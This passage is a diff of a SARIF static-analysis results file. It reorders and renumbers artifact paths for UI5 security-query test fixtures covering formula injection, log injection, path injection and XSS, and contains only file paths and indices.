               "uriBaseId" : "%SRCROOT%",
               "index" : 108
             }
@@ -5859,7 +5859,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 109
             }
@@ -5885,9 +5885,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 2
+              "index" : 110
             }
           }
         } ],
@@ -5911,9 +5911,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 110
+              "index" : 111
             }
           }
         } ],
@@ -5937,9 +5937,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 111
+              "index" : 3
             }
           }
         } ],
@@ -5963,7 +5963,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 112
             }
@@ -5989,7 +5989,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 113
             }
@@ -6015,7 +6015,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 114
             }
@@ -6041,7 +6041,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 115
             }
@@ -6067,7 +6067,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 116
             }
@@ -6093,7 +6093,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 117
             }
@@ -6119,7 +6119,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 118
             }
@@ -6145,7 +6145,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 119
             }
@@ -6171,7 +6171,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 120
             }
@@ -6197,7 +6197,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 121
             }
@@ -6223,7 +6223,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 122
             }
@@ -6249,7 +6249,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 123
             }
@@ -6275,7 +6275,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 124
             }
@@ -6301,7 +6301,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 125
             }
@@ -6327,7 +6327,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 126
             }
@@ -6353,7 +6353,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 127
             }
@@ -6379,7 +6379,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 128
             }
@@ -6405,7 +6405,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 129
             }
@@ -6431,7 +6431,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 130
             }
@@ -6457,7 +6457,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 131
             }
@@ -6483,7 +6483,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 132
             }
@@ -6509,7 +6509,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 133
             }
@@ -6535,7 +6535,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 134
             }
@@ -6561,7 +6561,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 135
             }
@@ -6587,7 +6587,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 136
             }
@@ -6613,7 +6613,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 137
             }
@@ -6639,7 +6639,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 138
             }
@@ -6665,7 +6665,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 139
             }
@@ -6691,7 +6691,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 140
             }
@@ -6717,7 +6717,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 141
             }
@@ -6743,7 +6743,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 142
             }
@@ -6769,7 +6769,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 143
             }
@@ -6795,7 +6795,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 144
             }
@@ -6821,7 +6821,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 145
             }
@@ -6847,7 +6847,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 146
             }
@@ -6873,7 +6873,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 147
             }
@@ -6899,7 +6899,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 148
             }
@@ -6925,7 +6925,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 149
             }
@@ -6951,7 +6951,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 150
             }
@@ -6977,7 +6977,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 151
             }
@@ -7003,7 +7003,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 152
             }
@@ -7029,7 +7029,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 153
             }
@@ -7055,7 +7055,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 154
             }
@@ -7081,7 +7081,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 155
             }
@@ -7107,7 +7107,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 156
             }
@@ -7159,7 +7159,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 158
             }
@@ -7185,7 +7185,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 159
             }
@@ -7211,7 +7211,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 160
             }
@@ -7237,9 +7237,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 0
+              "index" : 161
             }
           }
         } ],
@@ -7263,9 +7263,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 161
+              "index" : 162
             }
           }
         } ],
@@ -7289,9 +7289,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 162
+              "index" : 163
             }
           }
         } ],
@@ -7315,9 +7315,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/.eslintrc.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 163
+              "index" : 164
             }
           }
         } ],
@@ -7341,9 +7341,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 164
+              "index" : 0
             }
           }
         } ],
@@ -7367,7 +7367,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/.eslintrc.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 165
             }
@@ -7393,7 +7393,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/Component.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 166
             }
@@ -7419,7 +7419,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 167
             }
@@ -7445,7 +7445,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 168
             }
@@ -7471,7 +7471,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/Component.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 169
             }
@@ -7497,7 +7497,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 170
             }
@@ -7523,7 +7523,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/model/todoitems.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 171
             }
@@ -7549,7 +7549,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/AllJourneys.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 172
             }
@@ -7575,7 +7575,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/FilterJourney.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 173
             }
@@ -7601,7 +7601,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/SearchJourney.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/model/todoitems.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 174
             }
@@ -7627,7 +7627,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/TodoListJourney.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/AllJourneys.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 175
             }
@@ -7653,7 +7653,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/arrangements/Startup.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/FilterJourney.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 176
             }
@@ -7679,7 +7679,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/SearchJourney.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 177
             }
@@ -7705,7 +7705,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/TodoListJourney.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 178
             }
@@ -7731,7 +7731,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/pages/App.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/arrangements/Startup.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 179
             }
@@ -7757,7 +7757,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 180
             }
@@ -7783,7 +7783,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 181
             }
@@ -7809,7 +7809,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/AllTests.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/pages/App.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 182
             }
@@ -7835,7 +7835,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
